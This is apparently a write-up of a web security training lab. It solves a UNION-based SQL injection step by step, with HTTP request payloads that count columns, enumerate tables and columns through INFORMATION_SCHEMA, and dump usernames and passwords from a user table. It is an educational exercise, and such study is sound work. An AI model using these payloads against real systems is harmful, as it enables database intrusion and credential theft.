

Lab: SQL injection attack, listing the database contents on non-Oracle databases


This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.


To solve the lab, log in as the `administrator` user.

To perform the union attack, we need to determine the number of columns that can be identified by the following payload:

GET /filter?category=Tech+gifts'**UNION+SELECT+NULL,NULL--** HTTP/2




SQL injection attack, listing the database contents on non-Oracle databases

LAB Not solved 

[Back to lab home](#) [Back to lab description >>](#)

Home | [My account](#)

WE LIKE TO
SHOP 

Tech gifts'UNION SELECT NULL,NULL--

Refine your search:

[All](#) [Corporate gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#) [Toys & Games](#)

3D Voice Assistants

Voice assistants have just got so much better. You no longer have to look at a blank screen, your 3d assistant can be customized to resemble anyone you want it to be. Your assistant works via a Bluetooth connection enabling you to keep that cell tucked away out of sight. Pop your assistant on the table, in your top pocket, or anywhere you like. Just like other voice assistants you can communicate in real time and ask it anything you need to know. You will never be alone with your 3D assistant. Good company for all occasions, debate, play puzzles and listen to your choice of music together. Your assistant comes with a 600 page, hard copy, instruction manual, allowing you to train it to its full capacity. There are over 5000 command and responses you can easily input ensuring many evenings of entertaining conversation, and mind-boggling facts and figures that will blow your mind. Once fully enabled you only need to update your

Next step is to determine the datatype of each column that can be identified by the following payload:

GET /filter?category=Tech+gifts'**UNION+SELECT+'string?','string?'--** HTTP/2



SQL injection attack, listing the database contents on non-Oracle databases

LAB Not solved

[Back to lab home](#)

[Back to lab description >>](#)

[Home](#) | [My account](#)



Tech gifts'**UNION SELECT 'string?','string?'--**

Refine your search:

[All](#) [Corporate gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#) [Toys & Games](#)

3D Voice Assistants

Voice assistants have just got so much better. You no longer have to look at a blank screen, your 3d assistant can be customized to resemble anyone you want it to be. Your assistant works via a Bluetooth connection enabling you to keep that cell tucked away out of sight. Pop your assistant on the table, in your top pocket, or anywhere you like. Just like other voice assistants you can communicate in real time and ask it anything you need to know. You will never be alone with your 3D assistant. Good company for all occasions, debate, play puzzles and listen to your choice of music together. Your assistant comes with a 600 page, hard copy, instruction manual, allowing you to train it to its full capacity. There are over 5000 command and responses you can easily input ensuring many evenings of entertaining conversation, and mind-boggling facts and figures that will blow your mind. Once fully enabled you only need to update your assistant once a month

We need to list the database contents using the following payload:

GET

/filter?category=Tech+gifts'+**UNION+SELECT+table_name,NULL+FROM+INFORMATION_SCHEMA.tables--** HTTP/2



Tech gifts' UNION SELECT table_name,NULL FROM
INFORMATION_SCHEMA.tables--

Refine your search:	
All	Corporate gifts Lifestyle Pets Tech gifts Toys & Games
pg_partitioned_table	
pg_available_extension_versions	
pg_shdescription	
user_defined_types	
udt_privileges	
sql_packages	
pg_event_trigger	
pg_amop	
schemata	
routines	
referential_constraints	
administrable_role_authorizations	
products	
pg_foreign_data_wrapper	
pg_prepared_statements	
pg_largeobject_metadata	
foreign_tables	
sql_implementation_info	
collation_character_set_applicability	

From the list of database tables we need to identify the table which contains the user details, The table **users_sljimt** seems different and we are going to extract the column names from the table using the following payload,

GET
/filter?category=Tech+gifts'+UNION+SELECT+column_name,NULL+FROM+INFORMATIO
N_SCHEMA.columns+WHERE+table_name="users_sljimt"-- HTTP/2



Tech gifts' UNION SELECT column_name,NULL FROM
INFORMATION_SCHEMA.columns WHERE
table_name='users_sljimt'--

Refine your search:

[All](#) [Corporate gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#) [Toys & Games](#)

3D Voice Assistants

Voice assistants have just got so much better. You no longer have to look at a blank screen, your 3d assistant can be customized to resemble anyone you want it to be. Your assistant works via a Bluetooth connection enabling you to keep that cell tucked away out of sight. Pop your assistant on the table, in your top pocket, or anywhere you like. Just like other voice assistants you can communicate in real time and ask it anything you need to know. You will never be alone with your 3D assistant. Good company for all occasions, debate, play puzzles and listen to your choice of music together. Your assistant comes with a 600 page, hard copy, instruction manual, allowing you to train it to its full capacity. There are over 5000 command and responses you can easily input ensuring many evenings of entertaining conversation, and mind-boggling facts and figures that will blow your mind. Once fully enabled you only need to update your assistant once a month when we send you the upgraded 500-page electronic instruction manual. You will always be abreast of the latest technology and on top of current affairs as our team trawl the net for new information for you to add to your existing database. Get yourself a pocket friend and expand your mind today.

Robot Home Security Buddy

Everyone loves a robot. Now it's time to really make them earn their keep. As all your smart home devices get smaller and more sophisticated, the robots are getting cuter and sporting more human traits. It's time to cuddle into their hard exterior and discover their softer interiors. Stroke them until they fall asleep, just like a beloved pet. But the designers also want them to be of some practical use as well. Bring in your Robot Home Security Buddy. Your new friend has a built-in camera allowing panoramic views of the inside of your house. You can connect via your phone or tablet when away, and everything is recorded should you need to review the tape following any incidents. The bots will run on a single charge for 30 minutes. This does mean if you are planning on leaving the house for longer than 30 minutes you will need several of them to cover the time you are away. Don't worry, we have plenty to go around. When buying the Master Bot you will receive a 10% discount on any of the additional Soldier Bots. Your robot army will give you peace of mind every time you close the front door behind you. Wired CCTV has become a thing of the past.

email

Real Life Photoshopping

CES Tech is always an exciting time for us gadget fans. From the big businesses with their million dollar designs to the unusual and quirky. For us this year there is a stand out winner to beat all entries in this major convention. The real-life photoshopping. Yes, if you weren't there you can say you heard it here first. No need to use ridiculous filters in order that your profile picture is the best version of you, now you can look like your profile picture all day long. This new, and innovative, piece of kit includes everything you need to start your day on a high. Super high tech brushes and color pigments will brighten and lighten, and cover any problem areas. Piggy eyes? Not anymore. With a little practice, you will be able to use the tried and tested palette of colors to open those bad boys up. Frame your face with natural eyebrow colors, and extend those worn out lashes with the magic painter. We love this so much we bought the company so you can be one of the first to own this real-life photoshopping kit.

password_dxtrtm

username_hxvbnm

Grow Your Own Spy Kit

Everyone is getting wise to the nanny cams, and the old fashioned ways of listening in on other people's conversations. No-one trusts a cute looking teddy bear anymore, who knows what is hidden behind those button eyes. We have designed a foolproof system that will never catch you out with our 'Grow Your Own Spy Kit'. In the same easy way you plant a seed, or seedling, you pop the water-resistant bug beneath the surface of some fresh compost. With regular watering and a sprinkling of plant food, your bug pots will thrive until they are ready to be gifted to those you wish to spy on. No-one will suspect what you're up to, even if they have their suspicions, the only bugs they are going to find hiding amongst the leaves will be greenfly. On purchasing our 'Grow Your Own Spy Kit' you will be required to sign a Non-Disclosure Agreement, loose lips cost lives you know. Whether you are planning on just having a bit of fun with your family and friends, or you are a serious spy in the making, eavesdropping could not be any easier.

We are going to extract the usernames and passwords from user_sljimt table using the following payload,

GET

/filter?category=Tech+gifts'+UNION+SELECT+password_dxtrtm,username_hxvbnm+FROM+users_sljimt-- HTTP/2



Tech gifts' UNION SELECT password_dxrtm,username_hxvbnm FROM users_sljimt--

Refine your search:

[All](#) [Corporate gifts](#) [Lifestyle](#) [Pets](#) [Tech gifts](#) [Toys & Games](#)

zdcqsempdbmxgzv5r54

carlos

mf3o086t5dlv878acke6

wiener

Robot Home Security Buddy

Everyone loves a robot. Now it's time to really make them earn their keep. As all your smart home devices get smaller and more sophisticated, the robots are getting cuter and sporting more human traits. It's time to cuddle into their hard exterior and discover their softer interiors. Stroke them until they fall asleep, just like a beloved pet. But the designers also want them to be of some practical use as well. Bring in your Robot Home Security Buddy. Your new friend has a built-in camera allowing panoramic views of the inside of your house. You can connect via your phone or tablet when away, and everything is recorded should you need to review the tape following any incidents. The bots will run on a single charge for 30 minutes. This does mean if you are planning on leaving the house for longer than 30 minutes you will need several of them to cover the time you are away. Don't worry, we have plenty to go around. When buying the Master Bot you will receive a 10% discount on any of the additional Soldier Bots. Your robot army will give you peace of mind every time you close the front door behind you. Wired CCTV has become a thing of the past.

Grow Your Own Spy Kit

Everyone is getting wise to the nanny cams, and the old fashioned ways of listening in on other people's conversations. No-one trusts a cute looking teddy bear anymore, who knows what is hidden behind those button eyes. We have designed a foolproof system that will never catch you out with our 'Grow Your Own Spy Kit'. In the same easy way you plant a seed, or seedling, you pop the water-resistant bug beneath the surface of some fresh compost. With regular watering and a sprinkling of plant food, your bug pots will thrive until they are ready to be gifted to those you wish to spy on. No-one will suspect what you're up to, even if they have their suspicions, the only bugs they are going to find hiding amongst the leaves will be greenfly. On purchasing our 'Grow Your Own Spy Kit' you will be required to sign a Non-Disclosure Agreement, loose lips cost lives you know. Whether you are planning on just having a bit of fun with your family and friends, or you are a serious spy in the making, eavesdropping could not be any easier.

ecyv40zp44vb3w9qzvu

administrator

Real Life Photoshopping

WebSecurity
Academy

SQL injection attack, listing the database contents on non-Oracle
databases

[Back to lab description](#) >>

LAB Solved

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

Update email